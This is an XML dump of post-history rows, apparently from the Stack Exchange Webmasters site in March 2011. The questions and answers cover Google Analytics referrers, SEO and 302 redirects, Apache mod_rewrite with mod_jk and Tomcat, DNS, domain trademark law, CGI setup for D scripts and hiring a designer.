  <row Id="24862" PostHistoryTypeId="2" PostId="11032" RevisionGUID="f07825e9-1f76-493f-98f2-c9f4a194776b" CreationDate="2011-03-22T04:55:07.530" UserId="4306" Text="Instead of overriding the referrer information, you should add the subdomain to the Referrer Ignore List that Google Analytics stores.&#xD;&#xA;&#xD;&#xA;You can do this using the **_addIgnoredRef()** method in the GA API.&#xD;&#xA;&#xD;&#xA;Google's description of the the method:&#xD;&#xA;&#xD;&#xA;&gt; **_addIgnoredRef()**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Excludes a source as a referring site.&#xD;&#xA;&gt; Use this option when you want to set&#xD;&#xA;&gt; certain referring links as direct&#xD;&#xA;&gt; traffic, rather than as referring&#xD;&#xA;&gt; sites. For example, your company might&#xD;&#xA;&gt; own another domain that you want to&#xD;&#xA;&gt; track as direct traffic so that it&#xD;&#xA;&gt; does not show up on the &quot;Referring&#xD;&#xA;&gt; Sites&quot; reports. Requests from excluded&#xD;&#xA;&gt; referrals are still counted in your&#xD;&#xA;&gt; overall page view count.&#xD;&#xA;&#xD;&#xA;http://code.google.com/apis/analytics/docs/gaJS/gaJSApiSearchEngines.html#_gat.GA_Tracker_._addIgnoredRef&#xD;&#xA;&#xD;&#xA;**Note:** the examples given by Google may not be 100% correct. Check out the following link for a detailed discussion and example implementation:&#xD;&#xA;&#xD;&#xA;http://www.roirevolution.com/blog/2011/01/google_analytics_subdomain_tracking.php" />
  <row Id="24863" PostHistoryTypeId="25" PostId="11029" RevisionGUID="bb4b5feb-1421-4584-b979-059e15ca5dc3" CreationDate="2011-03-22T05:30:24.817" Comment="http://twitter.com/#!/StackWebmasters/status/50066778218442752" />
  <row Id="24864" PostHistoryTypeId="2" PostId="11033" RevisionGUID="c297b51b-79a5-492d-86f5-0e6a7530850a" CreationDate="2011-03-22T06:09:34.590" UserId="5930" Text="Are you talking about the frontpage? You wanted a single page to be frontpage like in www.envato.com? then it's easy. Just create a article and publish it in frontpage as article layout through menu. If that sounds greek and latin to you , please go download the yootheme Zoo app that comes with Page, Blog as the built in apps. You can move the date and time to anywhere using those apps. Create a PAGE and publish it via Menu" />
  <row Id="24865" PostHistoryTypeId="2" PostId="11034" RevisionGUID="4f6f1cf8-df2b-495f-8238-670e6a2eb65a" CreationDate="2011-03-22T06:51:49.517" UserId="3645" Text="It would seem that the entire reason for having a mercantile site would be to convert browsers into buyers.  Allowing them the possibility of clicking away from your site in return for a small bit of ad revenue seems counter productive." />
  <row Id="24866" PostHistoryTypeId="2" PostId="11035" RevisionGUID="6a919e87-6791-4f85-bb1b-93787da98b4d" CreationDate="2011-03-22T07:49:55.203" UserId="6252" Text="I looked at your website and you have a lot of assets (javascript files and css files). This is unneccessary overkill. &#xD;&#xA;&#xD;&#xA;I just finished a project where my team implemented http://code.google.com/p/minify/ into our CMS which dynamically adds assets for our visitors based on a lot of variables. The reason I mentioned that is because minify is extremely flexible.&#xD;&#xA;&#xD;&#xA;The idea is that you want to combine all your javascript and css. &#xD;&#xA;&#xD;&#xA;The next step is to serve them from a cookieless domain depending on how much you want to spend to enhance the customer experience. But I would just focus on combining the scripts and css files and then optimize the images. &#xD;&#xA;&#xD;&#xA;Another tip is that you can create a subdomain such as images.MyDomain.com and serve the images from there." />
  <row Id="24867" PostHistoryTypeId="2" PostId="11036" RevisionGUID="29002aaa-4acf-4c29-bc63-d2cff6cbad9b" CreationDate="2011-03-22T08:12:16.547" UserId="6257" Text="I'm having trouble finding a clear answer on this.  I'm optimizing someone else's website, and a tool pointed out that the index page returns a &quot;302 found&quot; (it redirects to a long URL with cookie info).&#xD;&#xA;&#xD;&#xA;Is this bad for the index page SEO to have a 302 redirect?" />
  <row Id="24868" PostHistoryTypeId="1" PostId="11036" RevisionGUID="29002aaa-4acf-4c29-bc63-d2cff6cbad9b" CreationDate="2011-03-22T08:12:16.547" UserId="6257" Text="&quot;302 found&quot; for index page bad for SEO?" />
  <row Id="24869" PostHistoryTypeId="3" PostId="11036" RevisionGUID="29002aaa-4acf-4c29-bc63-d2cff6cbad9b" CreationDate="2011-03-22T08:12:16.547" UserId="6257" Text="&lt;redirects&gt;&lt;seo-friendly&gt;" />
  <row Id="24870" PostHistoryTypeId="25" PostId="11036" RevisionGUID="d57b15c8-1854-4890-b9a5-b07d463ebf68" CreationDate="2011-03-22T08:30:26.327" Comment="http://twitter.com/#!/StackWebmasters/status/50112083039223808" />
  <row Id="24871" PostHistoryTypeId="2" PostId="11037" RevisionGUID="abe45494-070a-4933-a1f8-4d30d9b5b765" CreationDate="2011-03-22T09:13:05.883" UserId="1643" Text="If you look at the [terms of service][1] it says&#xD;&#xA;&#xD;&#xA;&gt; 7. No Resale of the Service. Unless expressly authorized in writing by Google, you agree not to reproduce, duplicate, copy, sell, trade, resell or exploit for any commercial purposes (a) any portion of the Service, (b) use of the Service, or (c) access to the Service.&#xD;&#xA;&#xD;&#xA;That's mainly talking about charging people to use blogger to host their blogs, but selling adverts possibly could be seen as &quot;exploiting for commercial purposes&quot; if they notice what you're doing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.blogger.com/terms.g" />
  <row Id="24872" PostHistoryTypeId="2" PostId="11038" RevisionGUID="830231ba-ea3c-4ae7-99c6-9dad2ed26b51" CreationDate="2011-03-22T09:25:08.657" UserId="4306" Text="Yes, it is bad for SEO when the index page has a 302 redirect.&#xD;&#xA;&#xD;&#xA;Matt Cutts discusses this scenario in an old blog post from 2006:&#xD;&#xA;http://www.mattcutts.com/blog/seo-advice-discussing-302-redirects/&#xD;&#xA;&#xD;&#xA;&gt; for on-domain 302 redirects (that is,&#xD;&#xA;&gt; a redirect in which both the source&#xD;&#xA;&gt; page and the destination page are both&#xD;&#xA;&gt; on the same domain), search engines&#xD;&#xA;&gt; will usually pick the shorter url.&#xD;&#xA;&#xD;&#xA;It's better for SEO when the search engines **don't** have to make those choices.&#xD;&#xA;&#xD;&#xA;Incredibly, his off-domain redirect example for sfgiants.com still has the same sub-optimal behaviour today." />
  <row Id="24873" PostHistoryTypeId="2" PostId="11039" RevisionGUID="0b858493-7206-425b-8075-540ceb4d1ec1" CreationDate="2011-03-22T09:48:32.713" UserId="6002" Text="Related to some of my earlier questions.&#xD;&#xA;&#xD;&#xA;I now have a setup I quite like;&#xD;&#xA;&#xD;&#xA;Apache httpd listening on port 80 accepting http and https connections.&#xD;&#xA;Several Tomcat instances running on several AJP ports.&#xD;&#xA;&#xD;&#xA;Mod_Jk is sending different url requests to different tomcat instances;&#xD;&#xA;&#xD;&#xA;    www.mydomain.com/demo -&gt; tomcat:8101&#xD;&#xA;    www.mydomain.com/test -&gt; tomcat:8102&#xD;&#xA;    www.mydomain.com/     -&gt; tomcat:8100&#xD;&#xA;&#xD;&#xA;This is achieved with the following config in httpd.conf (or included sub files);&#xD;&#xA;&#xD;&#xA;    LoadModule jk_module modules/mod_jk.so&#xD;&#xA;    JkWorkersFile conf/workers.properties&#xD;&#xA;    JkLogFile logs/mod_jk.log&#xD;&#xA;    JkLogLevel info&#xD;&#xA;&#xD;&#xA;    NameVirtualHost *:80&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;        JkMount /demo* demoTomcat (workers.properties not shown)&#xD;&#xA;        JkMount /test* testTomcat&#xD;&#xA;        JkMount /* rootTomcat&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;And this all works great. I also have SSL setup and running for https connections using a similar VirtualHost tag;&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost _default_:443&gt;&#xD;&#xA;        JkMount /demo* demoTomcat &#xD;&#xA;        JkMount /test* testTomcat&#xD;&#xA;        JkMount /* rootTomcat&#xD;&#xA;    ... SSL Stuff follows ....&#xD;&#xA;&#xD;&#xA;What I'm now having trouble is that my SSL Cert is only for www.mydomain.com and NOT mydomain.com.&#xD;&#xA;&#xD;&#xA;I've been advised to use the follow mod_rewrite calls;&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    LoadModule rewrite_module modules/mod_rewrite.so&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.|$) [NC]&#xD;&#xA;    RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [PT,L]&#xD;&#xA;&#xD;&#xA;I've placed these before before and after the mod_jk rules in the httpd.conf file. Apache was at first complaining that RewriteEngine was an invalid command, but that went away when I remembered the LoadModule command first :) Now Apache restarts just fine, the server starts and accepts requests and everything works the way it use to ... but thats just it, these mod_rewrite commands appear to have no effect?&#xD;&#xA;&#xD;&#xA;I type `http://mydomain.com` into the browser and I just get my website as per normal. The url does not appear to change to `http://www.mydomain.com` and when I start to access the secured areas I get warnings that `mydomain.com` is NOT secured and is serving me a cert from some other website called `www.mydomain.com` (why this is an issue at all and it can't just use some logic to realise its the same site, I don't know!).&#xD;&#xA;&#xD;&#xA;Am I placing the mod_rewrite rules in the wrong place? I've read that it should work, the rewrites should change the url to www. and then pass through to the mod_jk stuff for anything further?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24874" PostHistoryTypeId="1" PostId="11039" RevisionGUID="0b858493-7206-425b-8075-540ceb4d1ec1" CreationDate="2011-03-22T09:48:32.713" UserId="6002" Text="mod_rewrite with Apache -&gt; mod_jk -&gt; tomcat" />
  <row Id="24875" PostHistoryTypeId="3" PostId="11039" RevisionGUID="0b858493-7206-425b-8075-540ceb4d1ec1" CreationDate="2011-03-22T09:48:32.713" UserId="6002" Text="&lt;apache&gt;&lt;mod-rewrite&gt;" />
  <row Id="24876" PostHistoryTypeId="2" PostId="11040" RevisionGUID="e290bae7-2067-4db0-8a5f-286e28945b97" CreationDate="2011-03-22T10:09:48.533" UserId="4322" Text="It also sounds bad that cookie info is in the URL itself. It would indicate that every URL is different. Your making it very hard for a Search Engine to find the content and associate it with a valid URL for indexing.&#xD;&#xA;&#xD;&#xA;A secondary issue is every visitor will have a different URL. If they decide to link to you or use social media then every user will be linking to a different page and therefore non of the pages will become popular.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24877" PostHistoryTypeId="2" PostId="11041" RevisionGUID="4d74a0c5-3687-4068-9a32-6497a20bc9d4" CreationDate="2011-03-22T10:09:54.120" UserId="6216" Text="![enter image description here][1]&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;some other big slovenian site has only 14 traceroutes&#xD;&#xA;&#xD;&#xA;![enter image description here][3]&#xD;&#xA;&#xD;&#xA;is my traceroute big. I have dns for domains at zoneedit or freedns.afraid.org. Is this bad? Must i use slovenian dns servers? I do not want slow DNS resolving.&#xD;&#xA;&#xD;&#xA;Thx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/C8JNs.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/g9AWJ.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/B6YED.png" />
  <row Id="24878" PostHistoryTypeId="1" PostId="11041" RevisionGUID="4d74a0c5-3687-4068-9a32-6497a20bc9d4" CreationDate="2011-03-22T10:09:54.120" UserId="6216" Text="DNS and traceroute" />
  <row Id="24879" PostHistoryTypeId="3" PostId="11041" RevisionGUID="4d74a0c5-3687-4068-9a32-6497a20bc9d4" CreationDate="2011-03-22T10:09:54.120" UserId="6216" Text="&lt;dns&gt;" />
  <row Id="24881" PostHistoryTypeId="25" PostId="11041" RevisionGUID="186abf9f-179d-400d-a24a-02c26dbb9729" CreationDate="2011-03-22T11:30:27.170" Comment="http://twitter.com/#!/StackWebmasters/status/50157384835936256" />
  <row Id="24882" PostHistoryTypeId="2" PostId="11042" RevisionGUID="05583dfb-8ad8-41fd-97ae-fd1debbbc2fb" CreationDate="2011-03-22T11:52:05.730" UserId="1643" Text="I haven't actually done this myself, but I think this might work:&#xD;&#xA;&#xD;&#xA; - Transfer the domain to a registrar of your choice&#xD;&#xA; - Create a new openid with another provider.&#xD;&#xA; - Follow the instructions here http://blog.stackoverflow.com/2009/01/using-your-own-url-as-your-openid/ to point at this new open id. &#xD;&#xA;&#xD;&#xA;Then your own .name openid should still work. It may be worth testing out the delegation before you transfer. Or you could host your own openid using php: http://siege.org/projects/phpMyID/&#xD;&#xA;&#xD;&#xA; " />
  <row Id="24883" PostHistoryTypeId="2" PostId="11043" RevisionGUID="d938ac14-2696-4412-97ae-d9172922152b" CreationDate="2011-03-22T12:39:32.267" UserId="6092" Text="What web server are you running? If it's **Apache**, it's possible that you just need to add a `ServerAlias` to the domain's `VirtualHost` entry in your config.&#xD;&#xA;&#xD;&#xA;You can add a `ServerName` and `ServerAlias`, so for example:&#xD;&#xA;&#xD;&#xA;    ServerName www.example.com&#xD;&#xA;    ServerAlias example.com&#xD;&#xA;&#xD;&#xA;The `ServerAlias` will redirect to `ServerName`. Check the Apache [VirtualHost][1] directive docs or the equivalent for your web server if not running Apache.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.2/mod/core.html#virtualhost" />
  <row Id="24884" PostHistoryTypeId="17" PostId="11045" RevisionGUID="bc5f4597-92f1-4650-a846-922b4d849cfb" CreationDate="2011-03-22T13:20:41.193" UserId="-1" Comment="from http://stackoverflow.com/questions/5388028/how-to-rank-up-my-site-in-google-any-different-and-most-effective-trick-you-can/5388085#5388085" Text="" />
  <row Id="24885" PostHistoryTypeId="17" PostId="11046" RevisionGUID="6cfcbfbd-bb95-4882-9fa1-cc84d8c7dd9e" CreationDate="2011-03-22T13:20:41.193" UserId="-1" Comment="from http://stackoverflow.com/questions/5388028/how-to-rank-up-my-site-in-google-any-different-and-most-effective-trick-you-can/5389389#5389389" Text="" />
  <row Id="24886" PostHistoryTypeId="2" PostId="11044" RevisionGUID="c99c65b9-bade-4c1f-b4dc-5e25d353cf13" CreationDate="2011-03-22T07:28:57.667" UserDisplayName="Wasim" Text="    How to rank up my site in Google? Any Different and most Effective Trick you can Share???" />
  <row Id="24887" PostHistoryTypeId="1" PostId="11044" RevisionGUID="c99c65b9-bade-4c1f-b4dc-5e25d353cf13" CreationDate="2011-03-22T07:28:57.667" UserDisplayName="Wasim" Text="How to rank up my site in Google? Any Different and most Effective Trick you can Share???" />
  <row Id="24888" PostHistoryTypeId="3" PostId="11044" RevisionGUID="c99c65b9-bade-4c1f-b4dc-5e25d353cf13" CreationDate="2011-03-22T07:28:57.667" UserDisplayName="Wasim" Text="&lt;google&gt;&lt;websites&gt;&lt;google-ranking&gt;" />
  <row Id="24889" PostHistoryTypeId="17" PostId="11044" RevisionGUID="e44aea56-863f-4624-9860-8bebd37645bc" CreationDate="2011-03-22T13:20:41.193" UserId="-1" Comment="from http://stackoverflow.com/questions/5388028/how-to-rank-up-my-site-in-google-any-different-and-most-effective-trick-you-can" Text="" />
  <row Id="24890" PostHistoryTypeId="2" PostId="11045" RevisionGUID="73be9ef5-30cf-455f-9a51-db5d94617d06" CreationDate="2011-03-22T07:33:53.593" UserDisplayName="vivek" Text="add more keywords to your meta tags" />
  <row Id="24891" PostHistoryTypeId="2" PostId="11046" RevisionGUID="7248975c-3615-4862-8ea9-92f049a3a934" CreationDate="2011-03-22T09:51:41.953" UserDisplayName="asdf" Text="There's a very big thing called &quot;[Search Engine Optimization][1]&quot; (SEO) ... google it :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Search_engine_optimization" />
  <row Id="24892" PostHistoryTypeId="5" PostId="11044" RevisionGUID="c33ce2ce-1c7f-454b-9989-49e8c2f51c41" CreationDate="2011-03-22T13:27:58.950" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What are the best ways to increase your site&amp;#39;s position in Google?](http://webmasters.stackexchange.com/questions/2/what-are-the-best-ways-to-increase-your-sites-position-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;    How to rank up my site in Google? Any Different and most Effective Trick you can Share???" />
  <row Id="24893" PostHistoryTypeId="10" PostId="11044" RevisionGUID="e828891c-c031-48b8-8b0b-6841bfe1fedc" CreationDate="2011-03-22T13:27:58.857" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="24894" PostHistoryTypeId="2" PostId="11047" RevisionGUID="973ead18-6cd7-4988-8daa-868a06e02c74" CreationDate="2011-03-22T13:28:59.300" UserId="4618" Text="There really isn't a standard width you should be setting. The amount of people using a 1024x768 monitor has dropped drastically in the past few years, so a width of 960 has less importance. With the emergence of so many new devices (smart phones, tablets along with laptops and desktops), you should create a number of stylesheets for each case.&#xD;&#xA;&#xD;&#xA;CSS media queries allow you to change styles based on the user's screen resolution. I tend to make sites with a general stylesheet that handles all of the visual styling, then separate ones for mobile, tablet, standard desktop/laptop and extra wide screens that structures the page.&#xD;&#xA;&#xD;&#xA;Check out this page on W3.org for a few examples - http://www.w3.org/TR/css3-mediaqueries/&#xD;&#xA;&#xD;&#xA;It is more work, but will allow the user to get the best possible experience no matter what they use to browser their site." />
  <row Id="24895" PostHistoryTypeId="25" PostId="11024" RevisionGUID="6c15b2f8-0a12-4c00-a385-877328cfe693" CreationDate="2011-03-22T14:30:27.373" Comment="http://twitter.com/#!/StackWebmasters/status/50202684673892352" />
  <row Id="24896" PostHistoryTypeId="2" PostId="11048" RevisionGUID="85c5974f-2734-4d9b-bf1b-ec40722131d7" CreationDate="2011-03-22T15:24:10.293" UserId="6263" Text="I was wondering; if I buy a domain name, say www.bananapeel.com. Then after a couple of years my site becomes big with plenty of revenue. Because of this someone decides to trademark the name &quot;bananpeel&quot;. Does that then give them the right to legally take over my domain?" />
  <row Id="24897" PostHistoryTypeId="1" PostId="11048" RevisionGUID="85c5974f-2734-4d9b-bf1b-ec40722131d7" CreationDate="2011-03-22T15:24:10.293" UserId="6263" Text="domain name legal takeover" />
  <row Id="24898" PostHistoryTypeId="3" PostId="11048" RevisionGUID="85c5974f-2734-4d9b-bf1b-ec40722131d7" CreationDate="2011-03-22T15:24:10.293" UserId="6263" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;legal&gt;" />
  <row Id="24899" PostHistoryTypeId="2" PostId="11049" RevisionGUID="c3a72aeb-2cc5-41b2-bfdd-c5a5edd59659" CreationDate="2011-03-22T15:55:52.900" UserId="1253" Text="No. [Source][1]&#xD;&#xA;&#xD;&#xA;&gt; ..if you received your trademark&#xD;&#xA;&gt; registration after the domain name was&#xD;&#xA;&gt; registered, you will not have a solid&#xD;&#xA;&gt; case for a domain name dispute unless&#xD;&#xA;&gt; your mark was famous or well-known&#xD;&#xA;&gt; prior to the date the domain name was&#xD;&#xA;&gt; registered&#xD;&#xA;&#xD;&#xA;However, if you attempt to capitalize on their trademark with that domain then they have recourse to recover that domain name from you.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.intelproplaw.com/ip_forum/index.php?topic=11975.0" />
  <row Id="24900" PostHistoryTypeId="2" PostId="11050" RevisionGUID="eb972f3b-eb36-4f3d-b9a1-69670d1332e3" CreationDate="2011-03-22T16:35:25.643" UserId="841" Text="The D files should be treated as CGI programs. Add a CGI handler for the .d extension and enable the ExecCGI option. For example:&#xD;&#xA;&#xD;&#xA;    &lt;Directory /var/www/public_html&gt;&#xD;&#xA;        Options +ExecCGI&#xD;&#xA;        AddHandler cgi-script .d&#xD;&#xA;    &lt;/Directory&gt;&#xD;&#xA;&#xD;&#xA;Of course you need to change the directory path to match your setup. &#xD;&#xA;&#xD;&#xA;Also, be sure to check the permissions settings of the .d files. The server doesn't run the files as your user account, so they need to be executable by everyone. Running this in the folder with your D programs should do it:&#xD;&#xA;&#xD;&#xA;    chmod a+x *.d&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24901" PostHistoryTypeId="17" PostId="11052" RevisionGUID="46b73c01-56af-4291-8701-cef3be337f77" CreationDate="2011-03-22T16:37:09.557" UserId="-1" Comment="from http://stackoverflow.com/questions/5386746/setting-up-domain-name-for-google-apps-domain-and-google-app-engine-appplication/5387401#5387401" Text="" />
  <row Id="24902" PostHistoryTypeId="2" PostId="11051" RevisionGUID="a4269b7a-d9cd-4fe2-a5fd-ac85799f40fb" CreationDate="2011-03-22T04:18:28.293" UserDisplayName="Jeevan Dongre" Text="I have deployed a app or a static web page on comingsoonjoineventus.appspot.com, when the users click joinevenuts.com they should be redirected to the appspot link. But its redirecting to google sites home page of the domain. I check the domain settings in both godaddy and also google domain cpanel. I am not able to figure it out. &#xD;&#xA;kindly help me in this regard" />
  <row Id="24903" PostHistoryTypeId="1" PostId="11051" RevisionGUID="a4269b7a-d9cd-4fe2-a5fd-ac85799f40fb" CreationDate="2011-03-22T04:18:28.293" UserDisplayName="Jeevan Dongre" Text="Setting up domain name for google apps domain and google app engine appplication" />
  <row Id="24904" PostHistoryTypeId="3" PostId="11051" RevisionGUID="a4269b7a-d9cd-4fe2-a5fd-ac85799f40fb" CreationDate="2011-03-22T04:18:28.293" UserDisplayName="Jeevan Dongre" Text="&lt;google-app-engine&gt;&lt;domains&gt;&lt;web-hosting&gt;&lt;godaddy&gt;" />
  <row Id="24905" PostHistoryTypeId="17" PostId="11051" RevisionGUID="3b19dbf8-3682-4db6-8290-930e47853977" CreationDate="2011-03-22T16:37:09.557" UserId="-1" Comment="from http://stackoverflow.com/questions/5386746/setting-up-domain-name-for-google-apps-domain-and-google-app-engine-appplication" Text="" />
  <row Id="24906" PostHistoryTypeId="2" PostId="11052" RevisionGUID="93802fb8-5254-46db-8179-753e98c43149" CreationDate="2011-03-22T05:55:20.310" UserId="9351" UserDisplayName="Nick Johnson" Text="[This page][1] documents how to set up a custom domain for your App Engine app. If you're seeing a sites page instead, that may be mapped to your www subdomain; you need to delete that mapping and add the one described in the doc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/appengine/docs/domain.html" />
  <row Id="24907" PostHistoryTypeId="5" PostId="11050" RevisionGUID="7345b382-c43a-4750-b03a-174de7e5a5c9" CreationDate="2011-03-22T16:40:52.127" UserId="841" Comment="added 452 characters in body" Text="The D files should be treated as CGI programs. Add a CGI handler for the .d extension and enable the ExecCGI option. For example:&#xD;&#xA;&#xD;&#xA;    &lt;Directory /var/www/public_html&gt;&#xD;&#xA;        Options +ExecCGI&#xD;&#xA;        AddHandler cgi-script .d&#xD;&#xA;    &lt;/Directory&gt;&#xD;&#xA;&#xD;&#xA;Of course you need to change the directory path to match your setup. &#xD;&#xA;&#xD;&#xA;Also, be sure to check the permissions settings of the .d files. The server doesn't run the files as your user account, so they need to be executable by everyone. Running this on the command line in the folder with your D programs should do it:&#xD;&#xA;&#xD;&#xA;    chmod a+x *.d&#xD;&#xA;&#xD;&#xA;Because the files are now executable, they will be run using the program listed in the shebang line of each script. This is where rdmd comes in. The first line in each file should be something similar to this:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/rdmd&#xD;&#xA;&#xD;&#xA;I don't know the specifics for the D language. Be sure and use the path to your rdmd compiler. If your not sure run this on the command line:&#xD;&#xA;&#xD;&#xA;    which rdmd&#xD;&#xA;&#xD;&#xA;That should tell you where it is." />
  <row Id="24908" PostHistoryTypeId="5" PostId="10876" RevisionGUID="e98681f2-1010-42fb-88c2-e5c68eac0961" CreationDate="2011-03-22T16:41:55.947" UserId="1429" Comment="added 80 characters in body" Text="Hitting `F12` on IE8 it should start the Developer Tools that allows you to emulate IE7 (not IE6) using the Browser Mode.&#xD;&#xA;&#xD;&#xA;![IE8 emulates IE7][1]&#xD;&#xA;&#xD;&#xA;I suppose on IE9 you will be able to emulate back at least until IE7, but I'm only supposing because now it irritates me the simple idea to have to buy W7 in order to test this.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;UPDATE: as specified by Jeff Atwood: IE9 emulates back until IE7 too.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/YZeL2.jpg" />
  <row Id="24909" PostHistoryTypeId="25" PostId="11048" RevisionGUID="73faf75e-3577-4be1-af71-0501f8f43caa" CreationDate="2011-03-22T17:30:27.360" Comment="http://twitter.com/#!/StackWebmasters/status/50247980661481473" />
  <row Id="24910" PostHistoryTypeId="2" PostId="11053" RevisionGUID="c6be753d-0e92-4aa7-a3fd-f3f5a816d65a" CreationDate="2011-03-22T17:30:33.657" UserId="841" Text="I'm not sure what you mean by &quot;on my website hosted on my server&quot;. Do you mean your hardware, or the hosting account you have somewhere, or on the domain you own?&#xD;&#xA;&#xD;&#xA;If you are just trying to get something setup on a domain you own, then [Google Sites][1] might be a good option. It's part of Google Apps, so you can setup your family members as separate users each with their own email address @yourdomain and each with an area of a website at your domain that they can edit using Google's easy-to-use web based GUI.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sites.google.com" />
  <row Id="24919" PostHistoryTypeId="2" PostId="11056" RevisionGUID="a02fe5cb-9873-4d7b-9b27-62a136c51746" CreationDate="2011-03-22T18:23:43.990" UserId="6231" Text="could you help me with Apache2 configuration (on Ubuntu 10.04) to be visible on my public IP address? I'd like to know what to set and in which configuration files.&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="24920" PostHistoryTypeId="1" PostId="11056" RevisionGUID="a02fe5cb-9873-4d7b-9b27-62a136c51746" CreationDate="2011-03-22T18:23:43.990" UserId="6231" Text="Setting Apache to be visible on the Internet" />
  <row Id="24921" PostHistoryTypeId="3" PostId="11056" RevisionGUID="a02fe5cb-9873-4d7b-9b27-62a136c51746" CreationDate="2011-03-22T18:23:43.990" UserId="6231" Text="&lt;apache&gt;&lt;apache2&gt;" />
  <row Id="24922" PostHistoryTypeId="10" PostId="11056" RevisionGUID="03ac48c9-d0e1-494d-a233-458736b98a48" CreationDate="2011-03-22T18:27:15.957" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="24923" PostHistoryTypeId="2" PostId="11057" RevisionGUID="1fedc1b8-0575-4b1d-a228-164aba80ecf4" CreationDate="2011-03-22T18:53:33.647" UserId="6207" Text="I am developing the backend for a website. I always had the trouble of making an attractive design for my websites and have never hired any graphic designer yet. I have no logo nor web template.&#xD;&#xA;&#xD;&#xA;What are the steps to hire a graphic designer? What information should I read about before hiring one in order to make most out of our time? Where should I find him? How much do they charge and what qualifications should I look out for? Should I disclose my business ideas to the designer or could that be risky?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24924" PostHistoryTypeId="1" PostId="11057" RevisionGUID="1fedc1b8-0575-4b1d-a228-164aba80ecf4" CreationDate="2011-03-22T18:53:33.647" UserId="6207" Text="How to hire graphic designer?" />
  <row Id="24925" PostHistoryTypeId="3" PostId="11057" RevisionGUID="1fedc1b8-0575-4b1d-a228-164aba80ecf4" CreationDate="2011-03-22T18:53:33.647" UserId="6207" Text="&lt;website-design&gt;&lt;graphics&gt;" />
  <row Id="24926" PostHistoryTypeId="2" PostId="11058" RevisionGUID="50fd0b97-97bc-4089-a5e2-da3ae223cf49" CreationDate="2011-03-22T19:07:39.490" UserId="1383" Text="I'm going to be setting up an A/B test using Google's [WebsiteOptimizer][1] on my homepage, and I plan to name my two test variants `index_a.php` and `index_b.php`.&#xD;&#xA;&#xD;&#xA;Should I be putting in rules to my `robots.txt` to disallow search engines from spidering these pages? I know there is an SEO punishment for duplicate content--which is why I ask--but I'm not sure if Google exempts pages that are actively using WebsiteOptimizer.&#xD;&#xA;&#xD;&#xA;Thoughts?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/analytics/siteopt/" />
  <row Id="24927" PostHistoryTypeId="1" PostId="11058" RevisionGUID="50fd0b97-97bc-4089-a5e2-da3ae223cf49" CreationDate="2011-03-22T19:07:39.490" UserId="1383" Text="Should I disallow robots on A/B test pages?" />
  <row Id="24928" PostHistoryTypeId="3" PostId="11058" RevisionGUID="50fd0b97-97bc-4089-a5e2-da3ae223cf49" CreationDate="2011-03-22T19:07:39.490" UserId="1383" Text="&lt;seo&gt;&lt;robots.txt&gt;&lt;a-b-testing&gt;&lt;google-website-optimizer&gt;" />
  <row Id="24929" PostHistoryTypeId="2" PostId="11059" RevisionGUID="935ed416-c8cd-45c1-b059-575f11c2e6fc" CreationDate="2011-03-22T20:26:58.083" UserId="841" Text="Are you looking for styled GUI widgets? Try using the widgets in [jQueryUI][1]. You can use a theme from their Gallery, or create your own color scheme using their ThemeRoller. Either way, the library provides you with &quot;modern&quot; looking interface controls (tabs, sliders, date pickers, buttons, etc). There are also other widget frameworks out there, such as [YUI][2] from Yahoo. &#xD;&#xA;&#xD;&#xA;Assuming that I am understanding the intent of your question, that's the best answer I can give other than hire a web designer. As Lese pointed out, this isn't really an HTML5 thing, and most sites are achieving it via hard working designers. These frameworks don't really provide templates that you can just apply to an existing page. They are somewhat skinnable building blocks that you can use as part of a larger site design.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jqueryui.com/themeroller/&#xD;&#xA;  [2]: http://developer.yahoo.com/yui/" />
  <row Id="24930" PostHistoryTypeId="25" PostId="11058" RevisionGUID="7766f752-cbe1-45c1-8d1b-1f0c36cd5958" CreationDate="2011-03-22T20:30:28.217" Comment="http://twitter.com/#!/StackWebmasters/status/50293284857327616" />
